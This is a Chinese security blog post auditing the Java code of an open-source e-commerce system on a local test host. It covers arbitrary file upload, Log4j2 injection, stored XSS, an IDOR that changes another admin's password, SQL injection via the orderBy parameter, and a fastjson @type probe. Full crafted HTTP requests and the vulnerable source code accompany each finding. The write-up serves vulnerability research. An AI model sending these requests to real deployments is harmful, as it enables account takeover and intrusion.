freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java代码审计 | 一次开源商城系统
2025-03-03 21:10:31
所属地 河南

任意文件上传漏洞:

管理员后台文件添加位置:

1740892977_67c3eb3124389bf983627.png!small?1740892978425

数据包:

POST /tmall/admin/uploadCategoryImage HTTP/1.1
Host: 172.20.10.3:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
Content-Length: 476
Origin: http://172.20.10.3:8080
Connection: close
Referer: http://172.20.10.3:8080/tmall/admin
Cookie: JSESSIONID=3F9D43F6B1171EB96AC92041E714A3FD; username=1209577113

------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<title>Hello World JSP</title>
</head>
<body>
<h1><%= "Hello, World!" %></h1>
<p>${"This is a JSP page."}</p>
</body>
</html>
------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83--


1740893055_67c3eb7f714864c8f02e6.png!small?1740893056813

代码分析:

先去根据该接口快速定位:

1740893168_67c3ebf0b1800f2691331.png!small

相关代码如下,很明显后端无任何过滤:

// 上传产品类型图片-ajax
    @ResponseBody
    @RequestMapping(value = "admin/uploadCategoryImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
    public String uploadCategoryImage(@RequestParam MultipartFile file, HttpSession session) {
        String originalFileName = file.getOriginalFilename();
        logger.info("获取图片原始文件名:  {}", originalFileName);
        String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
        String fileName = UUID.randomUUID() + extension;//uid方法重命名
        String filePath = session.getServletContext().getRealPath("/") + "res/images/item/categoryPicture/" + fileName;//拼接上传路径

        logger.info("文件上传路径:{}", filePath);//这里可能存在log4j2漏洞
        JSONObject object = new JSONObject();
        try {
            logger.info("文件上传中...");
            file.transferTo(new File(filePath));
            logger.info("文件上传完成");
            object.put("success", true);
            object.put("fileName", fileName);
        } catch (IOException e) {
            logger.warn("文件上传失败!");
            e.printStackTrace();
            object.put("success", false);
        }

        return object.toJSONString();
    }
}

Log4j2漏洞

根据刚才文件上传的地方可以看到logger.info函数,根据pom.xml文件中符合漏洞存在版本

1740893711_67c3ee0f257a48a0fefb3.png!small

1740893835_67c3ee8be111d12ae2cda.png!small?1740893837447


根据代码可以判断,filePath是拼接了filename,然后filename是我们可以控制的,去找一个payload进行测试:

1740894301_67c3f05d2c42cf28e27d1.png!small?17408943164201740894337_67c3f081e890a26f0028a.png!small?1740894339276

任意文件上传+Log4j2漏洞*2

在后台寻找其他上传功能,发现个人信息管理处可以上传头像

1740894555_67c3f15bd67d4c058f4cd.png!small?1740894557125

去看后端代码,一模一样的逻辑,只不过就是换了一个接口名称。

1740894611_67c3f193368c42e2c5cc4.png!small?1740894612565

漏洞复现:

任意文件上传:

1740894662_67c3f1c632457726c4610.png!small?1740894663705

log4j2漏洞:

1740894752_67c3f22031ac08b568871.png!small?1740894753927

1740894775_67c3f237e784a512a330b.png!small?1740894777283


存储型XSS漏洞*1

在后台所有产品功能这里选择添加产品

1740894952_67c3f2e8f135070be57ac.png!small


构造一个控制台打印的xss,payload

1740895031_67c3f337b4adcdeff4678.png!small?1740895033044

1740895072_67c3f36023702b659ffaa.png!small?1740895073601

代码分析:

同样的根据请求接口路径去快速定位相对应的功能代码:

请求数据包:

1740895338_67c3f46add6faff136482.png!small?1740895340376

定位对应功能代码:

1740895365_67c3f485198a7bab7fc9d.png!small?1740895366638


该模块具体代码如下:

//添加产品信息-ajax.
    @ResponseBody
    @RequestMapping(value = "admin/product", method = RequestMethod.POST,produces = "application/json;charset=utf-8")
    public String addProduct(@RequestParam String product_name/* 产品名称 */,
                             @RequestParam String product_title/* 产品标题 */,
                             @RequestParam Integer product_category_id/* 产品类型ID */,
                             @RequestParam Double product_sale_price/* 产品促销价 */,
                             @RequestParam Double product_price/* 产品原价 */,
                             @RequestParam Byte product_isEnabled/* 产品状态 */,
                             @RequestParam String propertyJson/* 产品属性JSON */,
                             @RequestParam(required = false) String[] productSingleImageList/*产品预览图片名称数组*/,
                             @RequestParam(required = false) String[] productDetailsImageList/*产品详情图片名称数组*/) {
        JSONObject jsonObject = new JSONObject();
        logger.info("整合产品信息");
        Product product = new Product()
                .setProduct_name(product_name)
                .setProduct_title(product_title)
                .setProduct_category(new Category().setCategory_id(product_category_id))
                .setProduct_sale_price(product_sale_price)
                .setProduct_price(product_price)
                .setProduct_isEnabled(product_isEnabled)
                .setProduct_create_date(new Date());
        logger.info("添加产品信息");
        boolean yn = productService.add(product);
        if (!yn) {
            logger.warn("产品添加失败!事务回滚");
            jsonObject.put("success", false);
            throw new RuntimeException();
        }
        int product_id = lastIDService.selectLastID();
        logger.info("添加成功!,新增产品的ID值为:{}", product_id);

没有任何过滤通过获取后直接通过“boolean yn = productService.add(product);”预编译后插入到数据库中。1740897940_67c3fe949370ea6afb01f.png!small?1740897941990

而且在filter曾也没有相关过滤xss代码。

越权漏洞-任意账户密码修改

漏洞复现:

1741002448_67c596d083c92d1e4bbc4.png!small?1741002448948

后台密码修改位置,保存并抓包。

数据包如下:

PUT /tmall/admin/account/1 HTTP/1.1
Host: 172.20.10.3:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 128
Origin: http://172.20.10.3:8080
Connection: close
Referer: http://172.20.10.3:8080/tmall/admin
Cookie: username=1209577113; username=1209577113; JSESSIONID=B1EFB94A5FF67C3B4FAAF58E7E80C1C4
Priority: u=0

admin_nickname=%E5%A6%82%E6%9C%89%E5%B7%A7%E5%90%88&admin_profile_picture_src=&admin_password=123456&admin_newPassword=123456789

修改请求头“PUT /tmall/admin/account/1”中的1为3后发包,返回true,但是当前用户的密码并没有被修改。

1741002609_67c5977112aa902a1b3c0.png!small?1741002610605

查看数据库,发现用户ID为3的管理员被修改了密码。

1741002661_67c597a5c8f8ec092021a.png!small?1741002662129

实现越权漏洞。

代码分析

相关功能控制层代码如下:

//更新管理员信息
    @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class)
    @ResponseBody
    @RequestMapping(value = "admin/account/{admin_id}", method = RequestMethod.PUT, produces = "application/json;charset=UTF-8")
    public String updateAdmin(HttpSession session, @RequestParam String admin_nickname/*管理员昵称*/,
                              @RequestParam(required = false) String admin_password/*管理员当前密码*/,
                              @RequestParam(required = false) String admin_newPassword/*管理员新密码*/,
                              @RequestParam(required = false) String admin_profile_picture_src/*管理员头像路径*/,
                              @PathVariable("admin_id") String admin_id/*管理员编号*/) {
        logger.info("获取管理员信息");
        Object adminId = checkAdmin(session);//通过session验证管理员身份
        if (adminId == null) {
            return "admin/include/loginMessage";
        }
        JSONObject jsonObject = new JSONObject();
        Admin putAdmin = new Admin();
        putAdmin.setAdmin_id(Integer.valueOf(admin_id));//通过用户传递参数进行赋值
        putAdmin.setAdmin_nickname(admin_nickname);

        if (admin_password != null && !"".equals(admin_password) && admin_newPassword != null && !"".equals(admin_newPassword)) {
            logger.info("获取需要修改的管理员信息");
            Admin admin = adminService.get(null, Integer.valueOf(adminId.toString()));
            if (adminService.login(admin.getAdmin_name(), admin_password) != null) {
                logger.info("原密码正确");
                putAdmin.setAdmin_password(admin_newPassword);
            } else {
                logger.info("原密码错误,返回错误信息");
                jsonObject.put("success", false);
                jsonObject.put("message", "原密码输入有误!");
                return jsonObject.toJSONString();
            }
        }
        if (admin_profile_picture_src != null && !"".equals(admin_profile_picture_src)) {
            logger.info("管理员头像路径为{}", admin_profile_picture_src);
            putAdmin.setAdmin_profile_picture_src(admin_profile_picture_src.substring(admin_profile_picture_src.lastIndexOf("/") + 1));
        }

        logger.info("更新管理员信息,管理员ID值为:{}", admin_id);//因为限制int类型,无法log4j2攻击
        Boolean yn = adminService.update(putAdmin);//这里修改的就是通过用户输入的管理员ID了
        if (yn) {
            logger.info("更新成功!");
            jsonObject.put("success", true);
            session.removeAttribute("adminId");
            session.invalidate();
            logger.info("登录信息已清除");
        } else {
            jsonObject.put("success", false);
            logger.warn("更新失败!事务回滚");
            throw new RuntimeException();
        }

        return jsonObject.toJSONString();
    }
}

先对当前用户的session进行校验,如果为空就直接返回错误信息。(这里注意"adminId"这个参数)相关代码如下:

logger.info("获取管理员信息");
Object adminId = checkAdmin(session);//通过session验证管理员身份
if (adminId == null) {
return "admin/include/loginMessage";
}

然后开始进行修改的相关逻辑:


if (admin_password != null && !"".equals(admin_password) && admin_newPassword != null && !"".equals(admin_newPassword)) {
logger.info("获取需要修改的管理员信息");
Admin admin = adminService.get(null, Integer.valueOf(adminId.toString()));
if (adminService.login(admin.getAdmin_name(), admin_password) != null) {
logger.info("原密码正确");
putAdmin.setAdmin_password(admin_newPassword);
} else {
logger.info("原密码错误,返回错误信息");
jsonObject.put("success", false);
jsonObject.put("message", "原密码输入有误!");
return jsonObject.toJSONString();
}
}
if (admin_profile_picture_src != null && !"".equals(admin_profile_picture_src)) {
logger.info("管理员头像路径为{}", admin_profile_picture_src);
putAdmin.setAdmin_profile_picture_src(admin_profile_picture_src.substring(admin_profile_picture_src.lastIndexOf("/") + 1));
}

logger.info("更新管理员信息,管理员ID值为:{}", admin_id);//因为限制int类型,无法log4j2攻击
Boolean yn = adminService.update(putAdmin);//这里修改的就是通过用户输入的管理员ID了

这里需要注意参数"admin_id"。

这里的问题在于,代码首先通过 session 验证了当前用户的身份,并从中获取了 adminId,用于后续操作。然而,在修改管理员信息的逻辑中,代码使用了用户输入的 admin_id 作为参数来执行更新操作,而不是使用从 session 中获取的 adminId。这种设计导致了越权漏洞的产生。

具体来说,攻击者可以通过构造恶意请求,将 admin_id 参数设置为其他管理员的ID,从而绕过 session 的身份验证机制,直接修改其他管理员的信息。这是因为代码在修改信息时,没有再次验证 admin_id 是否与当前登录用户的 adminId 一致,导致攻击者可以越权操作。

漏洞产生的原因:
身份验证与操作分离:代码在开始时通过 session 验证了用户的身份,并获取了 adminId,但在实际修改操作中,却使用了用户输入的 admin_id,而没有再次验证该 admin_id 是否与当前用户的 adminId 一致。

未进行权限校验:在修改管理员信息时,代码没有检查当前用户是否有权限修改指定的 admin_id。攻击者可以通过修改 admin_id 参数,越权修改其他管理员的信息。

SQL注入漏洞

漏洞复现:

条件查询用户模块

1741005124_67c5a1445c7cd144d5c3c.png!small?1741005125264

抓包数据包如下:

GET /tmall/admin/user/0/10?user_name=1&user_gender_array=0&user_gender_array=1&orderBy=&isDesc=true HTTP/1.1
Host: 172.20.10.3:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.20.10.3:8080/tmall/admin
Cookie: username=1209577113; username=1209577113; JSESSIONID=3212A2B210A9F457A72A97D6F1908337
Priority: u=0

SqlMap一把梭。

1741005224_67c5a1a87090fdd39424d.png!small?1741005225098

代码分析:

通过代码框架很容易看出来使用了mybatis,全局搜索${,发现存在一处

1741004590_67c59f2e6b3f265658e65.png!small?1741004590998

往上走,发现select这个方法调用。

1741004666_67c59f7a5bb4af258f732.png!small

再往上走,找到相关service层

1741004723_67c59fb379ce40d104978.png!small?1741004724252

发现orderUtil参数,确定是底层存在sql注入漏洞mybatis配置文件风险的调用者

1741004769_67c59fe196b220c8c11fb.png!small?1741004770672

继续往上走找到控制层

1741004927_67c5a07f2ec45a0ad91e3.png!small?1741004927857

控制层代码如下:

//按条件查询用户-ajax
    @ResponseBody
    @RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=UTF-8")
    public String getUserBySearch(@RequestParam(required = false) String user_name/* 用户名称 */,
                                  @RequestParam(required = false) Byte[] user_gender_array/* 用户性别数组 */,
                                  @RequestParam(required = false) String orderBy/* 排序字段 */,
                                  @RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,
                                  @PathVariable Integer index/* 页数 */,
                                  @PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException {
        //移除不必要条件
        Byte gender = null;
        if (user_gender_array != null && user_gender_array.length == 1) {
            gender = user_gender_array[0];
        }

        if (user_name != null) {
            //如果为非空字符串则解决中文乱码:URLDecoder.decode(String,"UTF-8");
            user_name = "".equals(user_name) ? null : URLDecoder.decode(user_name, "UTF-8");
        }
        if (orderBy != null && "".equals(orderBy)) {
            orderBy = null;
        }
        //封装查询条件
        User user = new User()
                .setUser_name(user_name)
                .setUser_gender(gender);

        OrderUtil orderUtil = null;
        if (orderBy != null) {
            logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
            orderUtil = new OrderUtil(orderBy, isDesc);
        }

        JSONObject object = new JSONObject();
        logger.info("按条件获取第{}页的{}条用户", index + 1, count);
        PageUtil pageUtil = new PageUtil(index, count);
        List<User> userList = userService.getList(user, orderUtil, pageUtil);
        object.put("userList", JSONArray.parseArray(JSON.toJSONString(userList)));
        logger.info("按条件获取用户总数量");
        Integer userCount = userService.getTotal(user);
        object.put("userCount", userCount);
        logger.info("获取分页信息");
        pageUtil.setTotal(userCount);
        object.put("totalPage", pageUtil.getTotalPage());
        object.put("pageUtil", pageUtil);

        return object.toJSONString();
    }
}

根据注释可以发现是用户查询模块,注入点参数为"orderBy",并且orderBy使用用户输入。

1741005062_67c5a106a56c13764d80f.png!small?1741005063386

FastJson漏洞

根据pom.xml文件找到的存在fastjson组件并且版本是存在漏洞风险的版本。1741005559_67c5a2f781068c1503085.png!small?1741005560009

fastjson漏洞需要关注的是Json.parseObject​和JSON.parse

Json.parseObject和JSON.parse​ 是阿里巴巴的 fastjson​ 库中的一个方法,用于将 JSON 字符串解析为 Java 对象。fastjson​ 是一个高性能的 JSON 库,广泛用于 Java 项目中。

用法示例:

public static <T> T parseObject(String text, Class<T> clazz);

参数

  • ​text​: 要解析的 JSON 字符串。
  • ​clazz​: 目标 Java 类的 Class​ 对象,表示要将 JSON 字符串解析成的对象类型。

通过全局搜索发现Json.parseObject被使用。

1741005758_67c5a3be657e1795df56f.png!small?1741005759131

控制层存在漏洞的代码功能模块如下:

//添加产品信息-ajax.
    @ResponseBody
    @RequestMapping(value = "admin/product", method = RequestMethod.POST,produces = "application/json;charset=utf-8")
    public String addProduct(@RequestParam String product_name/* 产品名称 */,
                             @RequestParam String product_title/* 产品标题 */,
                             @RequestParam Integer product_category_id/* 产品类型ID */,
                             @RequestParam Double product_sale_price/* 产品促销价 */,
                             @RequestParam Double product_price/* 产品原价 */,
                             @RequestParam Byte product_isEnabled/* 产品状态 */,
                             @RequestParam String propertyJson/* 产品属性JSON */,
                             @RequestParam(required = false) String[] productSingleImageList/*产品预览图片名称数组*/,
                             @RequestParam(required = false) String[] productDetailsImageList/*产品详情图片名称数组*/) {
        JSONObject jsonObject = new JSONObject();
        logger.info("整合产品信息");
        Product product = new Product()
                .setProduct_name(product_name)
                .setProduct_title(product_title)
                .setProduct_category(new Category().setCategory_id(product_category_id))
                .setProduct_sale_price(product_sale_price)
                .setProduct_price(product_price)
                .setProduct_isEnabled(product_isEnabled)
                .setProduct_create_date(new Date());
        logger.info("添加产品信息");
        boolean yn = productService.add(product);
        if (!yn) {
            logger.warn("产品添加失败!事务回滚");
            jsonObject.put("success", false);
            throw new RuntimeException();
        }
        int product_id = lastIDService.selectLastID();
        logger.info("添加成功!,新增产品的ID值为:{}", product_id);

        JSONObject object = JSON.parseObject(propertyJson);
        Set<String> propertyIdSet = object.keySet();
        if (propertyIdSet.size() > 0) {
            logger.info("整合产品子信息-产品属性");
            List<PropertyValue> propertyValueList = new ArrayList<>(5);
            for (String key : propertyIdSet) {
                String value = object.getString(key);
                PropertyValue propertyValue = new PropertyValue()
                        .setPropertyValue_value(value)
                        .setPropertyValue_property(new Property().setProperty_id(Integer.valueOf(key)))
                        .setPropertyValue_product(new Product().setProduct_id(product_id));
                propertyValueList.add(propertyValue);
            }


具体如下:

"   JSONObject object = JSON.parseObject(propertyJson);"

然后去定位"propertyJson"函数,看看是否可控。

1741005924_67c5a4642a85a26200aa0.png!small?1741005924776

是可控的。

漏洞复现:

点击添加产品后抓包:

1741005983_67c5a49f2f42458ab8b9d.png!small?1741005983810

在产品属性处构造payload

POST /tmall/admin/product HTTP/1.1
Host: 172.20.10.3:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 446
Origin: http://172.20.10.3:8080
Connection: close
Referer: http://172.20.10.3:8080/tmall/admin
Cookie: username=1209577113; username=1209577113; JSESSIONID=3212A2B210A9F457A72A97D6F1908337
Priority: u=0

product_category_id=1&product_isEnabled=0&product_name=123&product_title=123&product_price=123&product_sale_price=123&propertyJson={"aa":{"@type":"java.net.Inet4Address","val":"ayctnlcpyu.lfcx.eu111.org"}}
&productSingleImageList=%2Ftmall%2Fres%2Fimages%2Fitem%2FproductSinglePicture%2F70aae9ec-8a6b-4365-9afb-ae3403755086.jpg&productDetailsImageList=%2Ftmall%2Fres%2Fimages%2Fitem%2FproductDetailsPicture%2F55433b62-c99c-4f85-8df8-6648cb66c5e2.jpg

1741007093_67c5a8f5c3c18d1b8be30.png!small?1741007094177

RCE的方法示例有很多,我就不在这里演示了。

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录